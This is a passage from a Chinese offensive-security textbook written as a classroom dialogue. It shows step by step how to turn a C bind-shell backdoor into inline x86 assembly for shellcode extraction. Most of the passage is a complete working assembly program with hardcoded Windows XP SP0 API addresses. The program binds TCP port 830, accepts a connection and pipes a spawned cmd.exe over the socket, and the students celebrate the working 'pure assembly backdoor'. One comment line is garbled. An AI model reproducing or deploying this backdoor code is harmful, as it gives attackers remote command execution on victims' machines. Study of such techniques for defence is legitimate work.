3.4.1 转换成汇编

老师说:“我们还是和以前一样,先根据功能写出汇编,再提取ShellCode。”

“哦,这样有点麻烦!”玉波有点不情愿。

“虽然这样比较麻烦,但能让我们深刻理解系统是如何执行程序的。以后再讲提取的改进方法吧!”老师说道,“首先,我们把双管道后面程序pipe2.cpp改写成汇编。”

“第一、我们先不考虑通用性。把所有要使用的函数地址都找出来,修改那个地址查找程序——GetAddr.cpp,查找pipe2.cpp中要用的函数地址。在Windows XP SP0下,程序GetBindAddr.cpp的执行结果如图3-23。”

“这里改成用XP系统了啊?”大家觉得奇怪,“之前都是Windows 2000的嘛!”

“这里换个系统,是不要让大家对系统版本有依赖性。其实,前面我们讨论的方法都是通用的。”老师说道,“所以无论是Win2000还是XP,除地址不同外,后面的方法是完全一样的。好,我们把找到的函数地址抄下来。如下:”

CreatePipe = //x77e5727a
CreateProcessA = //x77e41bb8
PeekNamedPipe = //x77e97624
WriteFile = //x77e59d8c
ReadFile = //x77e58b82
ExitProcess = //x77e55cb5
socket = //x71a23c22
bind = //x71a23ece
listen = //x71a25de2
accept = //x71a2868d
send = //x71a21af4
recv = //x71a25690

“在汇编程序中,依次将函数的地址保存如下:”

mov eax,0x77e5727a
mov [ebp+4],  eax;     CreatePipe
mov eax,0x77e41bb8
mov  [ebp+8],  eax;  CreateProcessA
mov eax,0x77e97624
mov  [ebp+12], eax;   PeekNamedPipe
mov eax,0x77e59d8c
mov  [ebp+16], eax;   WriteFile
mov eax,0x77e58b82
mov  [ebp+20], eax;   ReadFile
mov eax,0x77e55cb5
mov  [ebp+24], eax;   ExitProcess
mov eax,0x71a241da
mov  [ebp+28], eax;   WSAStartup
mov eax,0x71a23c22
mov  [ebp+32], eax;   socket
mov eax,0x71a23ece
mov  [ebp+36], eax;   bind
mov eax,0x71a25de2
mov  [ebp+40], eax;   listen
mov eax,0x71a2868d
mov  [ebp+44], eax;   accept
mov eax,0x71a21af4
mov  [ebp+48], eax;   send
mov eax,0x71a25690
mov  [ebp+52], eax;   recv

“以后我们如果要换一个系统执行,只需将这里的地址值改一下就行了。”老师说道。

“有没有通用的方法呢?”宇强问,“每次改还是有点麻烦。”

“当然有啦!别急,我们会在以后讲解。”老师笑着说,“而现在,我们仿造Windows函数调用的流程,写出我们的汇编代码。”

“由C程序得到汇编代码的关键,一是将参数入栈,二是CALL 调用函数的地址。如果有所遗忘,请大家复习上节课的笔记。”

“源程序的第一句指令,是执行WSAStartup(0x202, &ws)。我们按照函数调用流程,首先将参数从右至左依次压入栈中。”

“后一个参数是‘&ws’,表示一个地址。因为‘ws’以后不会用了,所以我们就随便压个地址,比如esp的值;第一个参数是0x202,我们直接push 0x202;因为WSAStartup的地址保存在[ebp+28]中,所以我们再 call [ebp+28] 就实现了调用,像下面这样,简单吧!”

push esp
push 0x202
call [ebp + 28]              //WSAStartup地址

“然后 socket(2,1,6) 也类似,先把6、1、 2依次入栈,最后call socket的地址。”

;socket(2,1,6)
push 6
push 1
push 2
call [ebp + 32]
mov ebx, eax                ; save socket to ebx

“怎么知道 socket(AF_INET,SOCK_STREAM,IPPROTO_TCP) 是 socket(2,1,6) 呢?”古风不解的问。

“嗯,第一种方法我们可以查看宏定义里面的值,但比较麻烦;第二种方法就是,我们在VC中按F10单步调试高级语言写成的pipe2C.cpp,在执行 socket(AF_INET,SOCK_STREAM,IPPROTO_TCP) 语句时,就可以看到入栈情况。如图3-24。”

“哦!果然是6、1、2依次入栈啊!”大家啧啧称奇。

“这是种很好的方法,”老师说道,“在不知道参数怎么压的时候,就看看高级语言程序是怎么执行的。”

“好,我们继续。bind()那句高级语言实现如下:”

struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));

“这个函数有点麻烦,压的参数是怎么得到的呢?”玉波问道。

“我们还是借助于高级语言吧!在对比中学习更利于理解和提高。调试到bind( )那句函数时,如图3-25。”

“高级语言执行这句时,首先是0x10入栈,说明sizeof(server)其实就是0x10。”

“嗯,这个参数简单!”

“第二个参数‘&server’是sockaddr结构的地址。在sockaddr结构中,包括了绑定的协议、IP、端口号等值。和在堆栈中构造字符串一样,我们也在栈中构造出sockaddr的结构,那么esp就是sockaddr结构的地址了。”

“哎哟,困难来了!字符串的值好构造,但sockaddr结构的值在堆栈中怎么赋呢?”古风着急的问。

“呵呵,不要急!我们还是在C程序下通过调试观察sockaddr赋值的情况吧!如图3-26。”

“我们来看看执行完对sockaddr结构的赋值后Server在内存中的值究竟是多少!”

“哦?如何看呢?”

“我们在内存窗口中看。在菜单栏上点鼠标右键,在弹出菜单中选“Debug”就会出现Debug工具栏,如图3-27”

“我们在Debug工具栏中点中‘Memory’按钮,如图3-28。”

“这样就会弹出内存窗口,如图3-29。我们在内存窗口中输入 server 就会显示出server的值:02 00 03 3E 00 00 00 00,看右下方的内存窗口。”

“从图中可看出,如下执行后其实就是得到了02 00 03 3E 00 00 00 00!” 宇强兴冲冲的说。

server.sin_family = AF_INET;    
server.sin_port = htons(830);   
server.sin_addr.s_addr=ADDR_ANY

“对!知道了确切要赋的值,我们就依葫芦画瓢吧! push 0x0000,push 0x0000,push 0x3E030002 就在堆栈中构造出了sockaddr结构的值,而且esp就正好是结构的地址。我们把它保存给esi作为第二个参数压入堆栈。”

“好了,剩下就轻松了,最后一个参数是‘socket’。上面执行了socket( )后,我们把socket的值保存在了ebx中,所以将ebx压入就可以了。”

“最后call调用函数。bind函数地址存放在[ebp + 36]中。合起来就像下面这样。”

;bind(listenFD,(sockaddr *)&server,sizeof(server));
xor edi,edi            //先构造server
push edi
push edi
mov eax,0x3E030002
push  eax           ; port 830  AF_INET
mov esi, esp                 //把server地址赋给esi
push  0x10                           ; length
push esi                          ; &server
push ebx                         ; socket
call [ebp + 36]                ; bind

“嗯!有意思!” 玉波咂咂嘴说道。

“ok,理解了思路就很简单吧?”老师说,“后面用同样的方法将各个函数调用完。不知道数据怎么赋值时,就参看C程序的执行,可以得到我们的pipe2ASM.cpp程序。”

__asm
    {
         push ebp;
         sub  esp, 80; 
         mov  ebp,esp;
         //把要用到的函数地址存起来——以下都是XP SP0
              mov eax,0x77e5727a
              mov [ebp+4],  eax;          CreatePipe
              mov eax,0x77e41bb8
              mov  [ebp+8],  eax;    CreateProcessA
              mov eax,0x77e97624
              mov  [ebp+12], eax;    PeekNamedPipe 
              mov eax,0x77e59d8c
              mov  [ebp+16], eax;    WriteFile
              mov eax,0x77e58b82
              mov  [ebp+20], eax;    ReadFile
              mov eax,0x77e55cb5
              mov  [ebp+24], eax;    ExitProcess
              mov eax,0x71a241da
              mov  [ebp+28], eax;    WSAStartup
              mov eax,0x71a23c22
              mov  [ebp+32], eax;    socket
              mov eax,0x71a23ece
              mov  [ebp+36], eax;    bind
              mov eax,0x71a25de2
              mov  [ebp+40], eax;    listen
              mov eax,0x71a2868d
              mov  [ebp+44], eax;    accept
              mov eax,0x71a21af4
              mov  [ebp+48], eax;    send
              mov eax,0x71a25690
              mov  [ebp+52], eax;    recv
              mov eax,0x0
              mov [ebp+56],0
              mov [ebp+60],0
              mov [ebp+64],0
 mov [ebp+68],0
              mov [ebp+72],0
LWSAStartup:
         ; WSAStartup(0x202, DATA) 
              sub esp, 400
              push esp
              push 0x202
              call [ebp + 28]
socket:
         ;socket(2,1,6)
              push 6
              push 1
              push 2
              call [ebp + 32]
              mov ebx, eax                ; save socket to ebx
LBind:
         ;bind(listenFD,(sockaddr *)&server,sizeof(server));
              xor edi,edi
              push edi
              push edi
              mov eax,0x3E030002
              push  eax     ; port 830  AF_INET
              mov esi, esp
              push  0x10               ; length
              push esi             ; &server
              push ebx             ; socket
              call [ebp + 36]          ; bind
LListen:
         ;listen(listenFD,2)
              inc edi
              inc edi
              push edi           ;2
              push ebx           ;socket
              call [ebp + 40]        ;listen
LAccept:
         ;accept(listenFD,(sockaddr *)&server,&iAddrSize)
              push 0x10
              lea  edi,[esp]
              push edi
              push esi           ;&server
              push ebx           ;socket
              call [ebp + 44]        ;accept
              mov ebx, eax       ;save newsocket to ebx
Createpipe1:
         ;CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
              xor edi,edi
              inc edi
              push edi
              xor edi,edi
              push edi
              push 0xc      ;pipeattr
              mov esi, esp
              push edi      ;0
              push esi      ;pipeattr1
              lea eax, [ebp+60]  ;&hWritePipe1
              push eax
              lea eax, [ebp+56]  ;&hReadPipe1
              push eax
              call [ebp+4]
CreatePipe2:
         ;CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
              push edi      ;0
              push esi      ;pipeattr2
              lea eax,[ebp+68]   ;hWritePipe2
              push eax
              lea eax, [ebp+64]  ;hReadPipe2
              push eax
              call [ebp+4]
CreateProcess:
         ;ZeroMemory TARTUPINFO,10h  PROCESS_INFORMATION  44h
              sub esp, 0x80
              lea edi, [esp]
              xor eax, eax
              push  0x80
              pop ecx
              rep stosd //清空s?弞,?? i
         ;si.dwFlags
              lea edi,[esp]
              mov eax, 0x0101
              mov [edi+2ch], eax;
         ;si.hStdInput = hReadPipe2 ebp+64
              mov eax,[ebp+64]
              mov [edi+38h],eax
         ;si.hStdOutput si.hStdError = hWritePipe1 ebp+60
              mov eax,[ebp+60]
              mov [edi+3ch],eax
              mov eax,[ebp+60]
              mov [edi+40h],eax
         ;cmd.exe
              mov eax, 0x00646d63    
              mov [edi+64h],eax  ;cmd
         ;CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation)
              lea eax, [esp+44h]
              push eax           ;&pi
              push edi           ;&si
              push ecx           ;0
              push ecx           ;0
              push ecx           ;0
              inc  ecx
              push ecx           ;1
              dec  ecx
              push ecx           ;0
              push ecx           ;0
              lea eax,[edi+64h]  ;"cmd"
              push eax
              push ecx           ;0
              call [ebp+8]
loop1:
         ;while1
         ;PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
         sub esp,400h       ;
         mov esi,esp            ;esi = Buff
         xor ecx, ecx
         push ecx           ;0
         push ecx           ;0
         lea edi,[ebp+72]   ;&lBytesRead
         push edi           
         mov eax,400h
         push eax           ;1024
         push esi           ;Buff
         mov eax,[ebp+56]            
         push eax           ;hReadPipe1
         call [ebp+12]
         mov eax,[edi]
         test eax,eax
         jz recv_command
send_result:
         ;ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0)
         xor ecx,ecx
         push ecx      ;0
         push edi      ;&lBytesRead
         push [edi]         ;hReadPipe1
         push esi      ;Buff
         push [ebp+56] ;hReadPipe1
         call [ebp+20]
         ;send(clientFD,Buff,lBytesRead,0)
         xor ecx,ecx
         push ecx      ;0
         push [edi]         ;lBytesRead
         push esi      ;Buff
         push ebx      ;clientFD
         call [ebp+48]
         jmp loop1
recv_command:
         ;recv(clientFD,Buff,1024,0)
         xor ecx,ecx
         push ecx
         mov eax,400h
         push eax
         push esi
         push ebx
         call [ebp+52]
         //lea ecx,[edi]
         mov [edi],eax
         ;WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0)
         xor ecx,ecx
         push ecx
         push edi
         push [edi]
         push esi
         push [ebp+68]
         call [ebp+16]
         jmp loop1
end:
     }

“每一个函数的执行都有详细的对应解释,大家下来可对照着参看,”老师说道,“这里我们编译、执行,然后Telnet 830端口。效果如图3-30。”

“哇赛!成功了!纯汇编后门成功了 !”同学们欢呼到,“太爽了!”

“完成了汇编,那接下来我们应该作什么呢?”老师问道。

“还用说吗?提取ShellCode啦!”台下齐声回答。

“对!”